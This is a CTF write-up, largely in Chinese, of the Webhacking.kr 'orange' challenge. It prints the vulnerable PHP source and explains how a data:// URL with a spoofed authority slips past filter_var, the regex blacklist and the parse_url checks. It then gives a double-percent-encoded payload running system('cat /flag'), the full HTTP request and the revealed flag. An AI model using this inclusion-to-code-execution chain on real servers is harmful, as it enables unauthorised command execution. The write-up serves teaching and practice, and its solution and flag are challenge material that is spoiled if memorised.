Webhacking.kr orange

Challenge

The page takes a url parameter, appends .txt, and includes it after a stack of URL checks.

页面接收 url 参数,追加 .txt 后经过一串 URL 校验再 include。

1
http://webhacking.kr:10009/

Analysis

?view_source=1 直接给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['view_source']){ highlight_file(__FILE__); exit; }
if($_GET['view_version']){ echo phpversion(); exit; }
if($_GET['ls']){ system("ls -a"); exit; } // to prove for about there is not hidden files in this directory. you dont have to run dirbuster!
if(isset($_GET['url'])){
$url = $_GET['url'].".txt";
if(!filter_var($url, FILTER_VALIDATE_URL)) exit("invalid url");
if(!preg_match("/http:\/\/webhacking.kr:10009\//",$url)) exit("invalid server");
if(preg_match("/@|#|\(|\)|\\$|`|'|\"|_|{|}|\?/",$url)) exit("you are not orange");
if((parse_url($url)['host'] !== "webhacking.kr") || (parse_url($url)['port'] !== 10009)) exit("invalid host or port");
if(parse_url($url)['user'] || parse_url($url)['pass']) exit("you are not orange");
include $url;
}
echo "<hr><a href=./?url=http://webhacking.kr:10009/cat>cat</a> <a href=./?url=http://webhacking.kr:10009/dog>dog</a> <hr><a href=./?view_source=1>view-source</a> <a href=./?view_version=1>view-version</a> <a href=./?ls=1>ls</a>";
?>

页面提供 PHP 版本和目录清单;直接访问 .txt 文件会返回 PHP 源码,通过 url 参数包含同一文件则会执行其中的代码:

1
2
3
4
5
?view_version=1  -> 7.3.8-1+ubuntu18.04.1+deb.sury.org+1
?ls=1 -> . .. cat.txt dog.txt index.php
/cat.txt -> <?php echo "meow meow"; ?>
/dog.txt -> <?php echo "bow wow"; ?>
?url=http://webhacking.kr:10009/cat -> meow meow

meow meow 的回显说明 HTTP stream 可以被 include,即题目环境允许 URL inclusion。校验作用于追加 .txt 后的 $url:

  • filter_var(..., FILTER_VALIDATE_URL) 检查 URL 格式。
  • 第一条正则要求匹配 http://webhacking.kr:10009/,没有锚定字符串开头。
  • 第二条正则禁用 @、#、括号、$、反引号、单双引号、_、花括号和 ?。
  • parse_url() 要求 host 为 webhacking.kr、port 为 10009,且不含 user/pass。

这些检查没有限制 scheme。将 http://webhacking.kr:10009/ 放入 path 仍能满足正则,前面的 authority 则用于通过 parse_url() 检查。最终 include 使用哪个 stream wrapper,由 scheme 决定。

Solution

RFC 2397 定义的 data URL 形式为 data:[<mediatype>][;base64],<data>。PHP 支持 data:// 写法,并接受下面这个包含伪装 authority 的输入:

1
data://webhacking.kr:10009/http://webhacking.kr:10009/,HELLO

追加 .txt 后,filter_var 接受该 URL,第一条正则命中 path 内的 HTTP URL,黑名单没有命中。parse_url() 将其解析为:

1
2
3
4
scheme = data
host = webhacking.kr
port = 10009
path = /http://webhacking.kr:10009/,HELLO.txt

data:// wrapper 将逗号前的部分作为媒体类型信息处理,从逗号后的 data 读取内容,不会向上述 host 发起 HTTP 请求。此时 .txt 已经追加到 data 末尾,所以 include 读取并输出 HELLO.txt。这里利用的是 parse_url() 与 stream wrapper 对同一字符串的不同解释;伪装的 authority 并非 RFC 2397 定义的网络地址。

未使用 ;base64 时,wrapper 会对 data 做一次 URL 解码。将 PHP 代码中的禁用字符写为百分号编码,校验阶段便只会看到 %28、%29、%27、%3F 等文本。请求 query 还会先经过一次解码,因此其中的 % 必须再编码为 %25:%2528 → $_GET['url'] 中的 %28 → wrapper 内容中的 (。

完整 payload 在各阶段的值:

1
2
3
$_GET['url'] = data://webhacking.kr:10009/http://webhacking.kr:10009/,%3C%3Fphp%20system%28%27cat%20/flag%27%29%3B%3F%3E
$url = $_GET['url'] . ".txt"
data 解码后 = <?php system('cat /flag');?>.txt

请求(query 里的 % 再编一次,即 %3C → %253C):

1
2
GET /?url=data%3A%2F%2Fwebhacking.kr%3A10009%2Fhttp%3A%2F%2Fwebhacking.kr%3A10009%2F%2C%253C%253Fphp%2520system%2528%2527cat%2520%2Fflag%2527%2529%253B%253F%253E HTTP/1.1
Host: webhacking.kr:10009

返回:

1
2
FLAG{*****************}
.txt

include 执行解码后的 <?php system('cat /flag');?>,读取 /flag。闭合标签 ?> 使后缀 .txt 位于 PHP 代码之外,作为普通文本输出,因此无需截断后缀。该链依赖 allow_url_fopen 和 allow_url_include 开启,以及 system() 可用。

FLAG{hardcore_from_7.1}